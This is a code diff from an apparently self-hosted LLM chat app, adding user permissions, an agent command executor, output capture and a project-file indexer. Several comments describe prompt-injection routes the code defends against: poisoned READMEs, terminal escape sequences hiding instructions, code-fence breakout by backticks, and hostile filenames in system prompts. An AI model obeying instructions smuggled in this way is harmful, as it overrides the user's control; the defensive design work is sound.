"Let a model keep its own notes for this user, and read them back later.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.memory",
|
||||
"Remember things",
|
||||
"Let a model record short facts about this user, shown to it on every "
|
||||
"turn.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.skills",
|
||||
"Use and write skills",
|
||||
"Let a model follow saved instructions, and write new ones. Every "
|
||||
"change is recorded and can be rolled back.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
)
|
||||
|
||||
PERMISSION_KEYS = tuple(d.key for d in PERMISSION_DEFS)
|
||||
DEFAULT_PERMISSIONS = {d.key: d.default for d in PERMISSION_DEFS}
|
||||
|
||||
|
||||
def permission_groups() -> dict[str, list[PermissionDef]]:
|
||||
"""Definitions bucketed by their UI section, preserving declaration order."""
|
||||
grouped: dict[str, list[PermissionDef]] = {}
|
||||
for definition in PERMISSION_DEFS:
|
||||
grouped.setdefault(definition.group, []).append(definition)
|
||||
return grouped
|
||||
|
||||
|
||||
def baseline_permissions(db: DBSession) -> dict[str, bool]:
|
||||
"""Instance-wide permissions for a user in no group at all."""
|
||||
from lembas.services import settings_store
|
||||
|
||||
stored = settings_store.get(db, "default_permissions") or {}
|
||||
return {key: bool(stored.get(key, DEFAULT_PERMISSIONS[key])) for key in PERMISSION_KEYS}
|
||||
|
||||
|
||||
def resolve(db: DBSession, user: User | None) -> dict[str, bool]:
|
||||
"""Effective permissions for a user."""
|
||||
if user is None:
|
||||
return dict.fromkeys(PERMISSION_KEYS, False)
|
||||
if user.is_admin:
|
||||
return dict.fromkeys(PERMISSION_KEYS, True)
|
||||
|
||||
effective = baseline_permissions(db)
|
||||
for group in user.groups:
|
||||
granted = group.permissions_json or {}
|
||||
for key in PERMISSION_KEYS:
|
||||
# Union: a group can only widen. Absent means "no opinion", not
|
||||
# "deny", so a group need only list what it adds.
|
||||
if granted.get(key):
|
||||
effective[key] = True
|
||||
return effective
|
||||
|
||||
|
||||
def has(db: DBSession, user: User | None, key: str) -> bool:
|
||||
return resolve(db, user).get(key, False)
|
||||
|
||||
|
||||
def models_visible_to(db: DBSession, user: User | None) -> list[Model]:
|
||||
"""Models a user may start a chat with, in display order.
|
||||
|
||||
A model is visible when it is enabled, its connection is enabled, and
|
||||
either it is public or the user belongs to one of its groups.
|
||||
"""
|
||||
query = (
|
||||
select(Model)
|
||||
.join(Connection)
|
||||
.where(Model.enabled.is_(True), Connection.enabled.is_(True))
|
||||
.order_by(Model.position, Model.model_id)
|
||||
)
|
||||
candidates = list(db.scalars(query))
|
||||
|
||||
if user is not None and user.is_admin:
|
||||
return candidates
|
||||
|
||||
if user is None:
|
||||
return []
|
||||
|
||||
member_of = {group.id for group in user.groups}
|
||||
return [
|
||||
model
|
||||
for model in candidates
|
||||
if model.public or member_of.intersection({g.id for g in model.groups})
|
||||
]
|
||||
|
||||
|
||||
def can_use_model(db: DBSession, user: User | None, model_id: str) -> bool:
|
||||
return any(model.model_id == model_id for model in models_visible_to(db, user))
|
||||
@@ -0,0 +1,36 @@
|
||||
"""Agentic execution: running commands and touching files on the model's behalf.
|
||||
|
||||
Four parts, and the split is the safety argument. `policy` decides what may
|
||||
happen without asking and knows nothing about how anything runs. `base` is the
|
||||
interface a target implements. `local` runs on this machine inside a bubblewrap
|
||||
sandbox that cannot see the database or the encryption key; `ssh` runs on
|
||||
somebody else's machine, where nothing is sandboxed and the credential is the
|
||||
whole of the trust.
|
||||
|
||||
The mode is enforced in the generation loop, not in the prompt. A model is told
|
||||
which mode it is in so it can behave sensibly, but being told is not what stops
|
||||
it: everything it reads is untrusted, and a rule written only into a system
|
||||
message is a rule a poisoned README can argue with.
|
||||
"""
|
||||
|
||||
from lembas.services.agent.policy import (
|
||||
MODE_AUTO,
|
||||
MODE_EDIT,
|
||||
MODE_MANUAL,
|
||||
MODE_PLAN,
|
||||
MODES,
|
||||
Decision,
|
||||
Limits,
|
||||
decide,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"MODES",
|
||||
"MODE_AUTO",
|
||||
"MODE_EDIT",
|
||||
"MODE_MANUAL",
|
||||
"MODE_PLAN",
|
||||
"Decision",
|
||||
"Limits",
|
||||
"decide",
|
||||
]
|
||||
@@ -0,0 +1,143 @@
|
||||
"""What an agent chat needs from the machine it acts on.
|
||||
|
||||
One interface, currently one implementation. It exists as an interface anyway
|
||||
because the *snapshot* is the load-bearing part: a generation outlives the
|
||||
request that started it, so everything a runner needs -- the host, the decrypted
|
||||
credential, the mode, the project directory -- has to be read while the session
|
||||
is open and carried, not looked up later. That is the same reason `Endpoint` is
|
||||
a frozen copy of a `Connection` and `ToolContext` holds an owner id rather than
|
||||
a `User`.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any, Protocol
|
||||
|
||||
# What a command may weigh before it is cut off. Per call; the reply also has a
|
||||
# total, in policy.Limits.
|
||||
DEFAULT_MAX_BYTES = 64 * 1024
|
||||
DEFAULT_TIMEOUT = 60.0
|
||||
|
||||
# Terminal escape sequences, stripped from anything a command produced. They are
|
||||
# inert in escaped HTML, but this text also re-enters the model's context, where
|
||||
# they are a known way of hiding instructions, and it may end up in a log a
|
||||
# person later cats, where they hijack the terminal.
|
||||
_ANSI = re.compile(r"\x1b\[[0-9;?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[@-Z\\-_]")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ExecRequest:
|
||||
"""One command to run."""
|
||||
|
||||
command: str
|
||||
cwd: str = ""
|
||||
timeout: float = DEFAULT_TIMEOUT
|
||||
max_bytes: int = DEFAULT_MAX_BYTES
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ExecResult:
|
||||
"""What running it produced.
|
||||
|
||||
`output` is stdout and stderr interleaved, because a shell transcript is
|
||||
what the model needs to read and separating them loses the ordering that
|
||||
makes an error make sense.
|
||||
"""
|
||||
|
||||
exit_status: int
|
||||
output: str
|
||||
truncated: bool = False
|
||||
timed_out: bool = False
|
||||
duration_ms: int = 0
|
||||
|
||||
@property
|
||||
def ok(self) -> bool:
|
||||
return self.exit_status == 0 and not self.timed_out
|
||||
|
||||
|
||||
class ExecError(Exception):
|
||||
"""Nothing could be run at all: the host refused, or the credential did.
|
||||
|
||||
Distinct from a command that ran and failed -- that is an `ExecResult` with
|
||||
a non-zero status, which the model should read and react to. This is the
|
||||
reply not being able to act, which is a message for a person.
|
||||
"""
|
||||
|
||||
def __init__(self, message: str) -> None:
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Target:
|
||||
"""A machine an agent chat acts on, read while the session was open.
|
||||
|
||||
Holds the decrypted credential and nothing else does. `generation` clears it
|
||||
when the reply ends, because a finished `Generation` lingers for five
|
||||
minutes so late followers get the final frames, and a private key should not
|
||||
linger with it.
|
||||
"""
|
||||
|
||||
kind: str
|
||||
label: str
|
||||
project_dir: str = ""
|
||||
spec: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class RemoteEntry:
|
||||
"""One line of a directory listing, with enough to draw it.
|
||||
|
||||
Separate from `list_dir`, which returns bare names and backs the
|
||||
`file_list` tool. That contract is a list of names and must not change
|
||||
under a model mid-conversation, so a picker -- which has to tell a
|
||||
directory from a file before it knows whether the row can be walked into
|
||||
-- gets its own method rather than a widened one.
|
||||
"""
|
||||
|
||||
name: str
|
||||
is_dir: bool
|
||||
size: int = 0
|
||||
modified: int = 0
|
||||
|
||||
@property
|
||||
def is_hidden(self) -> bool:
|
||||
return self.name.startswith(".")
|
||||
|
||||
|
||||
class Executor(Protocol):
|
||||
"""How a target is acted on. See `ssh.py`; there is no local variant."""
|
||||
|
||||
async def run(self, request: ExecRequest) -> ExecResult: ...
|
||||
|
||||
async def read_file(self, path: str, *, max_bytes: int) -> str: ...
|
||||
|
||||
async def write_file(self, path: str, text: str) -> int: ...
|
||||
|
||||
async def list_dir(self, path: str) -> list[str]: ...
|
||||
|
||||
async def scan_dir(self, path: str) -> list[RemoteEntry]: ...
|
||||
|
||||
|
||||
def clean_output(data: bytes | str, *, limit: int) -> tuple[str, bool]:
|
||||
"""Decode, strip escape sequences, and cap. Returns (text, truncated)."""
|
||||
text = data.decode("utf-8", "replace") if isinstance(data, bytes) else data
|
||||
text = _ANSI.sub("", text)
|
||||
if len(text) <= limit:
|
||||
return text, False
|
||||
return text[:limit].rstrip() + "\n… (truncated)", True
|
||||
|
||||
|
||||
__all__ = [
|
||||
"DEFAULT_MAX_BYTES",
|
||||
"DEFAULT_TIMEOUT",
|
||||
"ExecError",
|
||||
"ExecRequest",
|
||||
"ExecResult",
|
||||
"Executor",
|
||||
"RemoteEntry",
|
||||
"Target",
|
||||
"clean_output",
|
||||
]
|
||||
@@ -0,0 +1,164 @@
|
||||
"""One command and its output, kept so it can be handed to a model.
|
||||
|
||||
Bounded at both ends rather than only the front. A build that fails ten
|
||||
megabytes in has the invocation and the configuration at the top and the error
|
||||
at the bottom, and either half alone is the wrong half.
|
||||
|
||||
Raw bytes are kept and decoded only when somebody asks. Head/tail slicing
|
||||
splits UTF-8 characters at will, and `base.clean_output` decodes with
|
||||
`errors="replace"`, which is exactly the right handling -- decoding eagerly per
|
||||
chunk would be the same mistake the terminal pump already avoids.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import time
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from lembas.services.agent.base import clean_output
|
||||
|
||||
# What one command's output may keep, at each end.
|
||||
CAPTURE_HEAD_BYTES = 48 * 1024
|
||||
CAPTURE_TAIL_BYTES = 16 * 1024
|
||||
# The command line itself. Longer than any command and shorter than a paste.
|
||||
CAPTURE_COMMAND_BYTES = 4 * 1024
|
||||
# One line of output. A minified bundle on one line is not worth keeping whole.
|
||||
MAX_LINE_CHARS = 2000
|
||||
|
||||
# C0 except tab and newline, and the C1 block. Not in `clean_output`, which
|
||||
# `shell_run` shares: there a control character inside a file's contents is
|
||||
# data. Here it is a terminal being driven.
|
||||
_CONTROLS = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]")
|
||||
|
||||
|
||||
def flatten(text: str) -> str:
|
||||
"""What the screen would have shown, from what the wire carried.
|
||||
|
||||
The highest-value transform here by a distance. A progress bar redraws
|
||||
itself by returning to the start of the line and writing again; keeping
|
||||
every state turns two megabytes of `pip install` into two megabytes of
|
||||
spinner in somebody's prompt. Only the last state of a line was ever
|
||||
visible, so only the last state is kept.
|
||||
"""
|
||||
lines = []
|
||||
for line in text.replace("\r\n", "\n").split("\n"):
|
||||
if "\r" in line:
|
||||
line = line.rsplit("\r", 1)[-1]
|
||||
lines.append(_CONTROLS.sub("", line)[:MAX_LINE_CHARS])
|
||||
return "\n".join(lines).strip("\n")
|
||||
|
||||
|
||||
def fenced(text: str) -> str:
|
||||
"""A fence long enough that the content cannot end it early.
|
||||
|
||||
Output containing three backticks would otherwise break out, and everything
|
||||
after it would read to the model as prose rather than as what a machine
|
||||
printed. That is a real injection route and it costs one line to close.
|
||||
"""
|
||||
longest = max((len(run) for run in re.findall(r"`+", text)), default=0)
|
||||
ticks = "`" * max(3, longest + 1)
|
||||
return f"{ticks}console\n{text}\n{ticks}"
|
||||
|
||||
|
||||
@dataclass
|
||||
class Capture:
|
||||
"""A command, and as much of its output as is worth keeping."""
|
||||
|
||||
seq: int = 0
|
||||
command: str = ""
|
||||
cwd: str = ""
|
||||
started: float = field(default_factory=time.monotonic)
|
||||
ended: float = 0.0
|
||||
exit_status: int | None = None # None while it is still running
|
||||
|
||||
head: bytearray = field(default_factory=bytearray)
|
||||
tail: deque[bytes] = field(default_factory=deque)
|
||||
tail_bytes: int = 0
|
||||
dropped: int = 0
|
||||
total: int = 0
|
||||
|
||||
@property
|
||||
def running(self) -> bool:
|
||||
return self.exit_status is None
|
||||
|
||||
@property
|
||||
def duration_ms(self) -> int:
|
||||
end = self.ended or time.monotonic()
|
||||
return int((end - self.started) * 1000)
|
||||
|
||||
def absorb(self, chunk: bytes) -> None:
|
||||
"""Keep the front, keep the back, count what fell out of the middle."""
|
||||
self.total += len(chunk)
|
||||
if len(self.head) < CAPTURE_HEAD_BYTES:
|
||||
take = CAPTURE_HEAD_BYTES - len(self.head)
|
||||
self.head += chunk[:take]
|
||||
chunk = chunk[take:]
|
||||
if not chunk:
|
||||
return
|
||||
self.tail.append(chunk)
|
||||
self.tail_bytes += len(chunk)
|
||||
while self.tail_bytes > CAPTURE_TAIL_BYTES and len(self.tail) > 1:
|
||||
gone = self.tail.popleft()
|
||||
self.tail_bytes -= len(gone)
|
||||
self.dropped += len(gone)
|
||||
|
||||
def output(self) -> str:
|
||||
"""The kept output as text, with the gap marked if there is one."""
|
||||
head = flatten(clean_output(bytes(self.head), limit=CAPTURE_HEAD_BYTES * 2)[0])
|
||||
if not self.dropped and not self.tail:
|
||||
return head
|
||||
tail = flatten(clean_output(b"".join(self.tail), limit=CAPTURE_TAIL_BYTES * 2)[0])
|
||||
if not self.dropped:
|
||||
return f"{head}\n{tail}" if tail else head
|
||||
gap = f"\n\n… {self.dropped / 1024:,.0f} KB dropped …\n\n"
|
||||
return f"{head}{gap}{tail}"
|
||||
|
||||
def as_text(self, *, label: str) -> str:
|
||||
"""The block that goes into a message, attribution and all.
|
||||
|
||||
The sentence sits **outside** the fence and is written here, so nothing
|
||||
the far side printed can forge it, and the `$ ` line is synthesised
|
||||
rather than lifted from the shell -- what the shell echoed carries
|
||||
readline's editing escapes and is not the command.
|
||||
"""
|
||||
where = f", in {self.cwd}" if self.cwd else ""
|
||||
if self.running:
|
||||
how = "still running"
|
||||
elif self.exit_status:
|
||||
how = f"exit {self.exit_status}"
|
||||
else:
|
||||
how = "succeeded"
|
||||
|
||||
seconds = self.duration_ms / 1000
|
||||
took = f" after {seconds:.0f}s" if seconds >= 1 else ""
|
||||
body = f"$ {self.command}\n{self.output()}".rstrip()
|
||||
return (
|
||||
f"Ran in the terminal on {label}{where} — {how}{took}:\n\n{fenced(body)}"
|
||||
)
|
||||
|
||||
def summary(self) -> str:
|
||||
"""A short label for a chip, never rendered as markup."""
|
||||
command = self.command or "(no command)"
|
||||
if len(command) > 60:
|
||||
command = command[:57] + "…"
|
||||
if self.running:
|
||||
return f"{command} · running"
|
||||
return f"{command} · exit {self.exit_status}"
|
||||
|
||||
|
||||
def trim_command(raw: str) -> str:
|
||||
text, _ = clean_output(raw, limit=CAPTURE_COMMAND_BYTES)
|
||||
return _CONTROLS.sub("", text).strip()
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CAPTURE_COMMAND_BYTES",
|
||||
"CAPTURE_HEAD_BYTES",
|
||||
"CAPTURE_TAIL_BYTES",
|
||||
"Capture",
|
||||
"fenced",
|
||||
"flatten",
|
||||
"trim_command",
|
||||
]
|
||||
@@ -0,0 +1,528 @@
|
||||
"""What is in a project directory, for the picker and for the model.
|
||||
|
||||
Two things want this list. The `@` picker needs something to filter, and a
|
||||
model working in a directory should know roughly what is in it rather than
|
||||
spending its first two rounds finding out. Both want the same walk, so it
|
||||
happens once and is cached.
|
||||
|
||||
**Three ways of getting it, in order.** `git ls-files` first, because most
|
||||
project directories are repositories and it applies `.gitignore` for free --
|
||||
without which the answer for a Node project is forty thousand paths under
|
||||
`node_modules`. Then `find`, with the usual noise pruned by hand. Then a
|
||||
recursive SFTP walk, which always works and costs a round trip per directory.
|
||||
|
||||
**Two commands run here, and neither goes through `agent/policy.py`.** That is
|
||||
deliberate and it is the same argument the terminal panel and the directory
|
||||
browser rest on: this is LLeMbas listing a directory on somebody's behalf, not
|
||||
a model choosing to run something. Both are read-only, both are built here
|
||||
rather than assembled from anything a model said, and the project directory is
|
||||
configuration rather than input. It is still an exception to Manual mode's
|
||||
"everything is shown to you before it happens", and it is written down in
|
||||
CLAUDE.md next to the others.
|
||||
|
||||
**Nothing here is trusted.** Filenames come off somebody else's machine and end
|
||||
up inside a system prompt, so they are stripped of control characters, capped
|
||||
in length, capped in number, and never interpreted.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from lembas.services.agent.base import ExecError, ExecRequest, Executor
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# How many paths are kept. Past this the index says it was truncated, which the
|
||||
# rendering repeats to the model -- "there is nothing else here" and "I stopped
|
||||
# looking" are different answers and it must not give the first for the second.
|
||||
MAX_ENTRIES = 20_000
|
||||
# One path. Longer than any real one and shorter than an attack.
|
||||
MAX_PATH = 400
|
||||
# How long a walk may take before it is abandoned. The index is a convenience;
|
||||
# a chat must never sit waiting for one.
|
||||
BUILD_TIMEOUT = 20.0
|
||||
# Output budget for the listing commands. Twenty thousand paths at forty
|
||||
# characters is 800KB, so this has room and still refuses a runaway.
|
||||
MAX_OUTPUT = 2 * 1024 * 1024
|
||||
|
||||
# How long a built index is reused, and how many are kept at once. A project
|
||||
# directory changes under you -- the model writes files into it -- so this is
|
||||
# short. `refresh` exists for when short is not short enough.
|
||||
TTL = 300.0
|
||||
MAX_CACHED = 64
|
||||
|
||||
# How deep the SFTP fallback goes, and how many directories it will open. It is
|
||||
# a round trip per directory, so an unbounded walk of somebody's home directory
|
||||
# would take minutes and achieve nothing.
|
||||
SFTP_MAX_DEPTH = 6
|
||||
SFTP_MAX_DIRS = 400
|
||||
|
||||
# Pruned from the `find` and SFTP paths. Not applied to `git ls-files`, which
|
||||
# has already applied the repository's own rules and where a checked-in
|
||||
# `vendor/` is checked in on purpose -- this project's own hash-pinned browser
|
||||
# libraries live in one.
|
||||
IGNORED = (
|
||||
".git",
|
||||
".hg",
|
||||
".svn",
|
||||
"node_modules",
|
||||
"__pycache__",
|
||||
".venv",
|
||||
"venv",
|
||||
".mypy_cache",
|
||||
".pytest_cache",
|
||||
".ruff_cache",
|
||||
".tox",
|
||||
".next",
|
||||
".nuxt",
|
||||
".gradle",
|
||||
".terraform",
|
||||
"target",
|
||||
"dist",
|
||||
"build",
|
||||
".DS_Store",
|
||||
)
|
||||
|
||||
# Control characters, including the escape that would let a filename repaint
|
||||
# the transcript it is quoted in.
|
||||
_CONTROL = re.compile(r"[\x00-\x1f\x7f-\x9f]")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ProjectIndex:
|
||||
"""A snapshot of what was in a directory, and how it was found out."""
|
||||
|
||||
paths: tuple[str, ...] = ()
|
||||
total: int = 0
|
||||
truncated: bool = False
|
||||
source: str = ""
|
||||
built_at: float = field(default=0.0)
|
||||
|
||||
@property
|
||||
def ok(self) -> bool:
|
||||
return bool(self.paths)
|
||||
|
||||
|
||||
# --- Building ----------------------------------------------------------------
|
||||
def _clean(raw: str) -> str:
|
||||
"""One path, made safe to put in a prompt and in an attribute."""
|
||||
path = _CONTROL.sub("", raw.strip()).lstrip("./")
|
||||
return path[:MAX_PATH]
|
||||
|
||||
|
||||
def _collect(output: str) -> tuple[tuple[str, ...], int, bool]:
|
||||
seen: set[str] = set()
|
||||
paths: list[str] = []
|
||||
total = 0
|
||||
for line in output.splitlines():
|
||||
path = _clean(line)
|
||||
if not path or path in seen:
|
||||
continue
|
||||
total += 1
|
||||
if len(paths) < MAX_ENTRIES:
|
||||
seen.add(path)
|
||||
paths.append(path)
|
||||
paths.sort()
|
||||
return tuple(paths), total, total > len(paths)
|
||||
|
||||
|
||||
async def _from_git(executor: Executor, project_dir: str) -> ProjectIndex | None:
|
||||
"""Tracked and untracked files, minus whatever `.gitignore` excludes.
|
||||
|
||||
`--exclude-standard` is what makes this worth trying first: the repository
|
||||
already carries somebody's considered list of what is not part of the
|
||||
project, and reproducing it by hand is how an index ends up ninety percent
|
||||
build output.
|
||||
"""
|
||||
result = await executor.run(
|
||||
ExecRequest(
|
||||
command="git ls-files -c -o --exclude-standard 2>/dev/null",
|
||||
cwd=project_dir,
|
||||
timeout=BUILD_TIMEOUT,
|
||||
max_bytes=MAX_OUTPUT,
|
||||
)
|
||||
)
|
||||
if not result.ok or not result.output.strip():
|
||||
return None
|
||||
paths, total, truncated = _collect(result.output)
|
||||
if not paths:
|
||||
return None
|
||||
return ProjectIndex(
|
||||
paths=paths, total=total, truncated=truncated or result.truncated, source="git"
|
||||
)
|
||||
|
||||
|
||||
def _find_command() -> str:
|
||||
prunes = " -o ".join(f"-name {name!r}" for name in IGNORED)
|
||||
# -print rather than -print0: the output is read as text either way, and a
|
||||
# filename containing a newline splits into two entries that resolve to
|
||||
# nothing rather than into anything dangerous.
|
||||
return f"find . \\( {prunes} \\) -prune -o -print 2>/dev/null"
|
||||
|
||||
|
||||
async def _from_find(executor: Executor, project_dir: str) -> ProjectIndex | None:
|
||||
result = await executor.run(
|
||||
ExecRequest(
|
||||
command=_find_command(),
|
||||
cwd=project_dir,
|
||||
timeout=BUILD_TIMEOUT,
|
||||
max_bytes=MAX_OUTPUT,
|
||||
)
|
||||
)
|
||||
if not result.output.strip():
|
||||
return None
|
||||
paths, total, truncated = _collect(result.output)
|
||||
if not paths:
|
||||
return None
|
||||
return ProjectIndex(
|
||||
paths=paths, total=total, truncated=truncated or result.truncated, source="find"
|
||||
)
|
||||
|
||||
|
||||
async def _from_sftp(executor: Executor, project_dir: str) -> ProjectIndex:
|
||||
"""The one that always works, and the one that is slow.
|
||||
|
||||
Bounded twice over -- by depth and by how many directories it will open --
|
||||
because this is a network round trip per directory and an unbounded walk of
|
||||
a home directory would take minutes to produce something unusable.
|
||||
"""
|
||||
found: list[str] = []
|
||||
opened = 0
|
||||
queue: list[tuple[str, int]] = [("", 0)]
|
||||
|
||||
while queue and opened < SFTP_MAX_DIRS and len(found) < MAX_ENTRIES:
|
||||
where, depth = queue.pop(0)
|
||||
opened += 1
|
||||
try:
|
||||
entries = await executor.scan_dir(where or project_dir)
|
||||
except ExecError:
|
||||
continue
|
||||
for entry in entries:
|
||||
if entry.name in IGNORED:
|
||||
continue
|
||||
path = f"{where}/{entry.name}" if where else entry.name
|
||||
found.append(path + "/" if entry.is_dir else path)
|
||||
if entry.is_dir and depth + 1 < SFTP_MAX_DEPTH:
|
||||
queue.append((path, depth + 1))
|
||||
|
||||
paths, total, truncated = _collect("\n".join(found))
|
||||
return ProjectIndex(
|
||||
paths=paths,
|
||||
total=total,
|
||||
truncated=truncated or bool(queue),
|
||||
source="sftp",
|
||||
)
|
||||
|
||||
|
||||
async def build(executor: Executor, project_dir: str) -> ProjectIndex:
|
||||
"""Walk the directory, by whichever means works first."""
|
||||
started = time.monotonic()
|
||||
try:
|
||||
found = None
|
||||
for attempt in (_from_git, _from_find):
|
||||
try:
|
||||
found = await attempt(executor, project_dir)
|
||||
except ExecError as exc:
|
||||
# A rung that cannot run at all is a rung that did not answer,
|
||||
# not the end of the ladder. A host that refuses exec entirely
|
||||
# -- an SFTP-only account, a forced command -- is the exact case
|
||||
# the SFTP rung below exists for, and letting this out skipped
|
||||
# straight past it to an empty listing.
|
||||
log.debug("indexing %s: %s did not run: %s", project_dir, attempt.__name__,
|
||||
exc.message)
|
||||
found = None
|
||||
if found is not None:
|
||||
break
|
||||
if found is None:
|
||||
found = await _from_sftp(executor, project_dir)
|
||||
except ExecError as exc:
|
||||
log.info("could not index %s: %s", project_dir, exc.message)
|
||||
return ProjectIndex(built_at=time.monotonic())
|
||||
|
||||
log.debug(
|
||||
"indexed %s: %d paths by %s in %dms",
|
||||
project_dir,
|
||||
len(found.paths),
|
||||
found.source,
|
||||
int((time.monotonic() - started) * 1000),
|
||||
)
|
||||
return ProjectIndex(
|
||||
paths=found.paths,
|
||||
total=found.total,
|
||||
truncated=found.truncated,
|
||||
source=found.source,
|
||||
built_at=time.monotonic(),
|
||||
)
|
||||
|
||||
|
||||
# --- The cache ---------------------------------------------------------------
|
||||
# Keyed on the connection and the directory, not the chat: two chats on the same
|
||||
# box in the same tree are looking at the same files, and indexing it twice
|
||||
# would double the cost to prove it.
|
||||
_CACHE: dict[tuple[str, str], ProjectIndex] = {}
|
||||
_BUILDING: dict[tuple[str, str], asyncio.Task] = {}
|
||||
|
||||
|
||||
def cached(profile_id: str, project_dir: str) -> ProjectIndex | None:
|
||||
"""What is already known, or None. Never does any work.
|
||||
|
||||
`harness.context_variables` is synchronous and sits on the request path, so
|
||||
it may only ever call this -- an SFTP round trip from there would block a
|
||||
request while somebody's box thought about it.
|
||||
"""
|
||||
found = _CACHE.get((profile_id, project_dir))
|
||||
if found is None:
|
||||
return None
|
||||
if time.monotonic() - found.built_at > TTL:
|
||||
_CACHE.pop((profile_id, project_dir), None)
|
||||
return None
|
||||
return found
|
||||
|
||||
|
||||
async def ensure(
|
||||
executor: Executor, profile_id: str, project_dir: str, *, refresh: bool = False
|
||||
) -> ProjectIndex:
|
||||
"""The index, building it if there is not a fresh one already.
|
||||
|
||||
Concurrent callers share one build. A reply and the `@` picker asking at
|
||||
the same moment is the ordinary case, not a rare one, and two walks of the
|
||||
same tree would be two of everything for one answer.
|
||||
"""
|
||||
key = (profile_id, project_dir)
|
||||
if refresh:
|
||||
_CACHE.pop(key, None)
|
||||
elif (found := cached(profile_id, project_dir)) is not None:
|
||||
return found
|
||||
|
||||
if (running := _BUILDING.get(key)) is not None:
|
||||
return await asyncio.shield(running)
|
||||
|
||||
task = asyncio.create_task(build(executor, project_dir))
|
||||
_BUILDING[key] = task
|
||||
try:
|
||||
found = await task
|
||||
finally:
|
||||
_BUILDING.pop(key, None)
|
||||
|
||||
_CACHE[key] = found
|
||||
while len(_CACHE) > MAX_CACHED:
|
||||
_CACHE.pop(next(iter(_CACHE)))
|
||||
return found
|
||||
|
||||
|
||||
# --- Rendering ---------------------------------------------------------------
|
||||
# A tree that lists a thousand files is worse than no tree: it costs the window
|
||||
# on every request forever and buries the four names that mattered. So the
|
||||
# rendering has a character budget and elides what will not fit, saying how much
|
||||
# it elided -- a directory shown as `src/vendor/ (412 files)` is a model being
|
||||
# told where to look, which is the useful half of listing it.
|
||||
INDENT = " "
|
||||
# Below this a directory is never collapsed. Elision costs a line either way, so
|
||||
# collapsing three files into "(3 files)" saves nothing and loses everything.
|
||||
ALWAYS_SHOW = 4
|
||||
|
||||
|
||||
def _tree(paths: tuple[str, ...]) -> dict:
|
||||
root: dict = {}
|
||||
for path in paths:
|
||||
node = root
|
||||
parts = [part for part in path.rstrip("/").split("/") if part]
|
||||
for part in parts[:-1]:
|
||||
node = node.setdefault(part, {})
|
||||
if not isinstance(node, dict): # a file and a directory share a name
|
||||
break
|
||||
else:
|
||||
if parts:
|
||||
leaf = parts[-1]
|
||||
if path.endswith("/"):
|
||||
node.setdefault(leaf, {})
|
||||
else:
|
||||
node.setdefault(leaf, None)
|
||||
return root
|
||||
|
||||
|
||||
def _files_under(node: dict) -> int:
|
||||
total = 0
|
||||
for child in node.values():
|
||||
total += _files_under(child) if isinstance(child, dict) else 1
|
||||
return total
|
||||
|
||||
|
||||
def _candidates(node: dict, prefix: str, depth: int, out: list) -> None:
|
||||
"""Every directory, with what collapsing it would save."""
|
||||
for name, child in node.items():
|
||||
if not isinstance(child, dict):
|
||||
continue
|
||||
path = f"{prefix}{name}/"
|
||||
count = _files_under(child)
|
||||
full = _cost(child, depth + 1)
|
||||
collapsed = len(f" ({count} files)")
|
||||
if count > ALWAYS_SHOW and full > collapsed:
|
||||
out.append((depth, count, path, full - collapsed))
|
||||
_candidates(child, path, depth + 1, out)
|
||||
|
||||
|
||||
def _cost(node: dict, depth: int) -> int:
|
||||
"""Roughly how many characters rendering this subtree in full would take."""
|
||||
total = 0
|
||||
for name, child in node.items():
|
||||
total += len(INDENT) * (depth + 1) + len(name) + 2
|
||||
if isinstance(child, dict):
|
||||
total += _cost(child, depth + 1)
|
||||
return total
|
||||
|
||||
|
||||
def _plan(root: dict, budget: int) -> set[str]:
|
||||
"""Which directories to show as a count, so the rest fits.
|
||||
|
||||
Deepest and largest first. Collapsing by saving alone would take `src/`
|
||||
before `src/web/static/vendor/` -- it is bigger, because it *contains* it --
|
||||
and lose every name worth having to save one directory of hash-pinned
|
||||
third-party files. Depth is the proxy for "further from what somebody was
|
||||
looking for", and it is a good one.
|
||||
"""
|
||||
if _cost(root, 0) <= budget:
|
||||
return set()
|
||||
|
||||
candidates: list[tuple[int, int, str, int]] = []
|
||||
_candidates(root, "", 0, candidates)
|
||||
candidates.sort(key=lambda item: (-item[0], -item[1]))
|
||||
|
||||
chosen: dict[str, int] = {}
|
||||
saved = 0
|
||||
total = _cost(root, 0)
|
||||
for _depth, _count, path, saving in candidates:
|
||||
if total - saved <= budget:
|
||||
break
|
||||
# A directory inside one already collapsed is not rendered at all, so
|
||||
# collapsing it saves nothing.
|
||||
if any(path.startswith(done) for done in chosen):
|
||||
continue
|
||||
# And a directory *containing* one already collapsed subsumes it. Its
|
||||
# own saving is measured against the full subtree, so the descendant's
|
||||
# has to come back off or the two are counted twice -- which stopped
|
||||
# the loop early believing it had made room it had not.
|
||||
for inside in [done for done in chosen if done.startswith(path)]:
|
||||
saved -= chosen.pop(inside)
|
||||
chosen[path] = saving
|
||||
saved += saving
|
||||
return set(chosen)
|
||||
|
||||
|
||||
def _lines(
|
||||
node: dict, prefix: str, depth: int, collapsed: set[str], budget: list[int]
|
||||
) -> list[str]:
|
||||
out: list[str] = []
|
||||
# Files before directories at each level: the shallow names are the ones
|
||||
# somebody would recognise, and if the budget runs out mid-tree they are
|
||||
# the ones worth having spent it on.
